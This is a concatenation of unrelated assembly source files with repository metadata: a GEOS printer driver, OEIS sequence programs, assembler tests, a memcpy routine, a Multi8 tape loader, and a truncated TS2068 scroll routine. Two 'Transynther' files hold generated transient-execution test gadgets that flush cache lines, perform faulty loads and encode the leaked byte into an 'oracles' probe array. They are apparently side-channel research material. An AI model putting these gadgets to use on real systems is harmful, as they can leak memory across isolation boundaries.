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b0e605d100751e58e2f1778fb9f05feee5fbff28
3,848
asm
Assembly
Driver/Printer/DotMatrix/Gemini9/gemini9ControlCodes.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/DotMatrix/Gemini9/gemini9ControlCodes.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/DotMatrix/Gemini9/gemini9ControlCodes.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Star Gemini 9-pin Print Driver FILE: gemini9ControlCodes.asm AUTHOR: Dave Durran, 1 April 1990 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 4/1/90 Initial revision DC_ESCRIPTION: This file contains all the Printer Control Codes for the gemini 9-pin driver. $Id: gemini9ControlCodes.asm,v 1.1 97/04/18 11:54:33 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;***************************************************************************** ; ;CONTROL CODES FOR THE Star Gemini 9-PIN PRINTERS..... ; ; the first byte is the byte count for the control code. ; ;***************************************************************************** ;__________Job Control______________________________________ pr_codes_ResetPrinter label byte byte NULL ;2,C_ESC,"@" pr_codes_InitPrinter label byte byte 6,0 ;send a null to wait till after any reset garb byte C_ESC,"O" ;cancel any perforation skipping. byte C_ESC,"U",1 ;set uni-directional pr_codes_InitTextMode label byte byte 3 ;count byte C_ESC,"U",0 ;set bi-directional pr_codes_DefeatPaperOut label byte byte 2,C_ESC,"8" ;__________ASF Control______________________________________ pr_codes_InitPaperLength label byte byte 4,C_ESC,"C",0,22 ;set page length to max (22") pr_codes_FormFeed label byte byte 5 byte C_ESC,"3",2 ;set 2/144" line spacing. byte C_ESC,"C" ;set the page length. ;__________Cursor Control______________________________________ pr_codes_SetTab label byte byte 2 byte C_ESC,"D" ;set the tab... pr_codes_DoTab label byte byte 2,0,C_HT pr_codes_DoLineFeed label byte byte 2,C_ESC,"J" pr_codes_DoMaxLineFeed label byte byte 3,C_ESC,"J",PR_MAX_LINE_FEED pr_codes_Do1ScanlineFeed label byte byte 3,C_ESC,"J",1 ;__________Graphics Control______________________________________ pr_codes_SetLoGraphics label byte byte 3,C_CR,C_ESC,"K" pr_codes_SetMedGraphics label byte pr_codes_SetHiGraphics label byte ;used for hi also.... byte 3,C_CR,C_ESC,"L" ;__________Pitch Control______________________________________ pr_codes_Set10PitchRoman label byte byte 3,C_ESC,"B",1 pr_codes_Set12PitchRoman label byte byte 3,C_ESC,"B",2 pr_codes_Set17PitchRoman label byte byte 3,C_ESC,"B",3 pr_codes_SetProportionalRoman label byte byte 3,C_ESC,"Z",1 pr_codes_SetCondensed label byte byte 1,C_SI pr_codes_SetSubscript label byte byte 3,C_ESC,"S",1 pr_codes_SetSuperscript label byte byte 3,C_ESC,"S",0 pr_codes_SetNLQ label byte pr_codes_SetBold label byte byte 4,C_ESC,"E",C_ESC,"G" pr_codes_SetItalic label byte byte 2,C_ESC,"4" pr_codes_SetDblWidth label byte byte 3,C_ESC,"W",1 pr_codes_SetUnderline label byte pr_codes_SetDblHeight label byte byte 1,C_NULL pr_codes_ResetCondensed label byte byte 1,C_DC2 pr_codes_ResetScript label byte byte 2,C_ESC,"T" pr_codes_ResetNLQ label byte pr_codes_ResetBold label byte byte 4,C_ESC,"F",C_ESC,"H" pr_codes_ResetItalic label byte byte 2,C_ESC,"5" pr_codes_ResetDblWidth label byte byte 3,C_ESC,"W",0 pr_codes_ResetUnderline label byte pr_codes_ResetDblHeight label byte byte 1,C_NULL
31.032258
79
0.618243
832679b8a526dd0a34d1615ade4914bfa12f7ff3
264
asm
Assembly
programs/oeis/190/A190540.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/190/A190540.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/190/A190540.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A190540: 7^n - 2^n. ; 0,5,45,335,2385,16775,117585,823415,5764545,40353095,282474225,1977324695,13841283105,96889002215,678223056465,4747561477175,33232930504065,232630513856135,1628413597648305,11398895184848855 mov $1,7 pow $1,$0 mov $2,2 pow $2,$0 sub $1,$2
29.333333
192
0.784091
5fc98666714dc62128103721ef040fc5dce9bc62
279
asm
Assembly
tests/devices/longptr/Issue144_disp_longptr.asm
fengjixuchui/sjasmplus
df0fabd2411bf89e23637fce46d273f52dafbe16
[ "BSD-3-Clause" ]
220
2016-10-22T19:44:39.000Z
2022-03-29T20:57:04.000Z
tests/devices/longptr/Issue144_disp_longptr.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
153
2018-05-07T10:31:23.000Z
2022-03-30T04:35:59.000Z
tests/devices/longptr/Issue144_disp_longptr.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
51
2016-05-12T21:27:36.000Z
2022-03-27T15:16:16.000Z
; same as Issue144 main test, but in --longptr mode, where the arguments outside of the $0000..$FFFF range are legal org #4000 disp #10000-this+zac zac nop this ENT org #4000+this-zac disp #0000 nop ENT ; valid in --longptr mode ORG -1 long1 DISP -2 long2 nop ENT
13.285714
116
0.698925
65717ef325befd37bb1217461025994bb8b72a1a
4,824
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_550.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_550.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_550.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %rdi push %rsi lea addresses_WT_ht+0x4743, %rdi nop nop nop nop add %rsi, %rsi mov (%rdi), %r13 add %rsi, %rsi pop %rsi pop %rdi pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r15 push %rbp push %rdi push %rsi // Store lea addresses_WC+0x14ab6, %rdi nop nop add %r10, %r10 movb $0x51, (%rdi) cmp %rdi, %rdi // Store lea addresses_RW+0x6ed2, %r15 nop nop nop nop nop sub %r12, %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm2 vmovups %ymm2, (%r15) // Exception!!! nop nop nop nop mov (0), %rsi cmp %r13, %r13 // Load lea addresses_A+0x1d1d6, %rbp xor %r15, %r15 mov (%rbp), %esi add %r10, %r10 // Faulty Load lea addresses_WT+0xdab6, %r12 clflush (%r12) nop nop nop add $65354, %r15 vmovups (%r12), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rsi lea oracles, %r13 and $0xff, %rsi shlq $12, %rsi mov (%r13,%rsi,1), %rsi pop %rsi pop %rdi pop %rbp pop %r15 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
48.24
2,999
0.655265
ee74163ef9a4cf507d7d27479c41679a03e72f96
408
asm
Assembly
programs/oeis/005/A005451.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/005/A005451.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/005/A005451.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A005451: Define b(n) = ( (n-1)*(n^2-3*n+1)*b(n-1) - (n-2)^3*b(n-2) )/(n*(n-3)); b(2) = b(3) = 1; sequence gives denominators of b(n). ; 1,1,4,1,6,1,8,9,10,1,12,1,14,15,16,1,18,1,20,21,22,1,24,25,26,27,28,1,30,1,32,33,34,35,36,1,38,39,40,1,42,1,44,45,46,1,48,49,50,51,52,1,54,55,56,57,58,1,60 mov $1,$0 add $0,1 add $1,2 cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0. gcd $1,$0
45.333333
157
0.588235
11746cbdb4ad0f167616d919d8b70fa14e97d2a5
360
asm
Assembly
src/x86/memcpy.asm
CrackerCat/vcrtl
56cc303a9fc1f76764d76f226a72ea2745395326
[ "MIT" ]
124
2019-11-27T07:37:45.000Z
2022-03-27T10:22:21.000Z
src/x86/memcpy.asm
CrackerCat/vcrtl
56cc303a9fc1f76764d76f226a72ea2745395326
[ "MIT" ]
4
2020-03-30T15:19:54.000Z
2021-06-29T21:43:02.000Z
src/x86/memcpy.asm
CrackerCat/vcrtl
56cc303a9fc1f76764d76f226a72ea2745395326
[ "MIT" ]
31
2019-11-27T08:46:39.000Z
2022-03-23T04:12:21.000Z
.model flat public _memcpy .code memcpy_fr struct ret_addr dword ? dest dword ? src dword ? sz dword ? memcpy_fr ends _memcpy proc mov eax, esi mov edx, edi mov edi, [esp + memcpy_fr.dest] mov esi, [esp + memcpy_fr.src] mov ecx, [esp + memcpy_fr.sz] rep movsb mov edi, edx mov esi, eax mov eax, [esp + memcpy_fr.dest] ret _memcpy endp end
12
32
0.688889
0bbe4f4a2f1d6471cb9c6aaac768aeca05d29f49
1,044
asm
Assembly
programs/oeis/188/A188123.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/188/A188123.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/188/A188123.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A188123: Number of strictly increasing arrangements of 4 nonzero numbers in -(n+2)..(n+2) with sum zero. ; 1,3,8,16,31,51,80,118,167,227,302,390,495,617,758,918,1101,1305,1534,1788,2069,2377,2716,3084,3485,3919,4388,4892,5435,6015,6636,7298,8003,8751,9546,10386,11275,12213,13202,14242,15337,16485,17690,18952,20273,21653 mov $12,$0 mov $14,$0 add $14,1 lpb $14 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 mov $9,$0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 add $0,7 mul $0,2 mov $1,$0 mov $5,4 mod $7,8 div $7,5 gcd $7,$0 mov $0,1 add $0,$7 mul $1,5 mov $2,$7 lpb $0 mod $0,$5 add $0,5 add $1,$5 add $2,12 sub $1,$2 sub $1,6 mov $4,$0 div $0,$1 mul $4,2 div $4,8 add $5,5 trn $3,$5 add $3,6 lpe mul $3,2 add $0,$3 div $1,$0 add $1,$4 sub $1,5 mul $1,2 add $1,1 mov $3,7 mov $7,$0 add $10,$1 lpe add $13,$10 lpe mov $1,$13
17.694915
216
0.509579
af4f02e10977596b8c3df5fa1c0edbcaa35a95c4
446
asm
Assembly
oeis/094/A094632.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/094/A094632.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/094/A094632.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A094632: A trace sequence for a Napoleon graph. ; Submitted by Jon Maiga ; 1,0,3,4,21,55,198,609,2021,6460,21033,67859,219926,711165,2302233,7448804,24107061,78008495,252446598,816924969,2643639901,8554973900,27684516753,89588913979,289915919446,938187455205,3036038652273 mov $2,1 mov $5,-1 lpb $0 sub $0,1 add $1,$3 sub $4,$5 add $4,$2 mov $5,$4 mov $4,$2 mov $2,$3 add $4,$1 add $5,$4 mov $3,$5 mul $4,4 lpe mov $0,$2
21.238095
199
0.683857
747aa66173a1bff67e8f23de490b9af5af4369b9
2,268
asm
Assembly
lib/target/multi8/classic/bootstrap.asm
w5Mike/z88dk
f5090488e1d74ead8c865afe6df48231cd5c70ba
[ "ClArtistic" ]
4
2021-11-20T19:35:01.000Z
2022-01-01T16:08:42.000Z
lib/target/multi8/classic/bootstrap.asm
w5Mike/z88dk
f5090488e1d74ead8c865afe6df48231cd5c70ba
[ "ClArtistic" ]
null
null
null
lib/target/multi8/classic/bootstrap.asm
w5Mike/z88dk
f5090488e1d74ead8c865afe6df48231cd5c70ba
[ "ClArtistic" ]
1
2021-11-27T15:58:02.000Z
2021-11-27T15:58:02.000Z
; Bootstrap for loading allram multi8 tapes SECTION BOOTSTRAP PUBLIC __multi8_bootstrap_built defc __multi8_bootstrap_built = 1 org $c000 ld hl,intro_string call print_string call setup_memory_map call asm_tape_load jp nc,$0000 ld hl,failed_string call reset_memory_map call print_string loop: jp loop intro_string: defm "z88dk Multi8 bootstrap starting\n" defb 0 failed_string: defm "Loading failed\n" defb 0 setup_memory_map: ; Here we need to switch to 64k RAM mode ; We have no access to the display (unless we page it in) di ld a,@00100000 ;bit 5 set = RAM ;bit 4 reset = RAM out ($2a),a ret reset_memory_map: ; Here we need to switch to 64k RAM mode ; We have no access to the display (unless we page it in) ld a,@00010000 ;bit 5 set = RAM ;bit 4 reset = RAM out ($2a),a ei ret ; Write string: hl = string print_string: ld a,(hl) and a ret z push hl rst $18 pop hl inc hl jr print_string ; ; Load a block to the address specified in the file header ; ; Exit: nc = success ; c = failure ; asm_tape_load: call initialise_hw ld a,$4e out ($21),a ld a,$14 out ($21),a in a,($20) wait_for_ready: in a,($21) bit 1,a jr z,wait_for_ready in a,($21) and $30 jr nz,asm_tape_load in a,($20) ;ac4 cp $3a jr nz,asm_tape_load call read_byte ld c,a ld h,a call read_byte ld l,a add c ld c,a call read_byte add c jr nz,failure ;@0b07 next_block: call read_byte cp $3a jr nz,failure call read_byte ld c,a ld b,a or a ret z ;end of file read_block_loop: call read_byte IF VERIFY push af ld a,(some_var) ;some_var = f97b or a jr z,skip_verify pop af cp (hl) jr nz,failure jr rejoin skip_verify: pop af ENDIF ld (hl),a rejoin: add c ld c,a inc hl dec b jr nz,read_block_loop call read_byte add c jr z,next_block failure: scf ret failure_pop: pop af ;return address from read_byte jr failure read_byte: in a,($21) bit 1,a jr z,read_byte in a,($21) and $30 jr nz,failure_pop in a,($20) ret initialise_hw: ld a,$ce out ($21),a ld a,$27 out ($21),a ld a,$77 out ($21),a ret
14.727273
65
0.637566
96406ea2d210ff0b4c95f522ba110424120140a2
289
asm
Assembly
programs/oeis/040/A040209.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/040/A040209.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/040/A040209.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A040209: Continued fraction for sqrt(224). ; 14,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,28 mov $1,14 lpb $0 mod $0,2 mul $1,2 lpe gcd $1,$0
28.9
189
0.605536
ca275735c2509f06f574a0919a1181aac400e2f3
4,379
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1373.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1373.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1373.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %rbp push %rbx push %rdi lea addresses_UC_ht+0x1d909, %rdi nop nop nop xor %r10, %r10 mov $0x6162636465666768, %r13 movq %r13, %xmm6 and $0xffffffffffffffc0, %rdi vmovntdq %ymm6, (%rdi) nop nop nop nop nop dec %r11 lea addresses_UC_ht+0x142d1, %rbx nop nop nop nop inc %rbp mov (%rbx), %r12 nop nop nop add %rbx, %rbx pop %rdi pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %rbx push %rcx push %rdi push %rsi // Faulty Load lea addresses_A+0x197a1, %rsi nop nop nop nop nop add $45978, %r12 mov (%rsi), %edi lea oracles, %r13 and $0xff, %rdi shlq $12, %rdi mov (%r13,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
50.333333
2,999
0.66385
66ebecb58154687fecbe3ea827366b6e177c48e7
2,494
asm
Assembly
libsrc/_DEVELOPMENT/arch/ts2068/misc/z80/asm_tshc_scroll_up.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/z80/asm_tshc_scroll_up.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/z80/asm_tshc_scroll_up.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; =============================================================== ; 2017 ; =============================================================== ; ; void tshc_scroll_up(uchar prows, uchar attr) ; ; Scroll screen upward by rows pixels and clear vacated area ; using attribute. ; ; =============================================================== INCLUDE "config_private.inc" SECTION code_clib SECTION code_arch PUBLIC asm_tshc_scroll_up PUBLIC asm0_tshc_scroll_up EXTERN asm_tshc_cls, asm_tshc_py2saddr EXTERN asm_tshc_saddrpdown asm_tshc_scroll_up: ; enter : de = number of pixel rows to scroll upward by ; l = attr byte ; ; uses : af, bc, de, hl inc d dec d jp nz, asm_tshc_cls asm0_tshc_scroll_up: inc e dec e ret z ld a,191 sub e jp c, asm_tshc_cls inc a ; e = number of pixel rows to scroll upward ; l = attr byte ; a = loop count ld b,a ; b = loop count push hl ; save attr byte push de ; save scroll amount ;; copy upward ex de,hl call 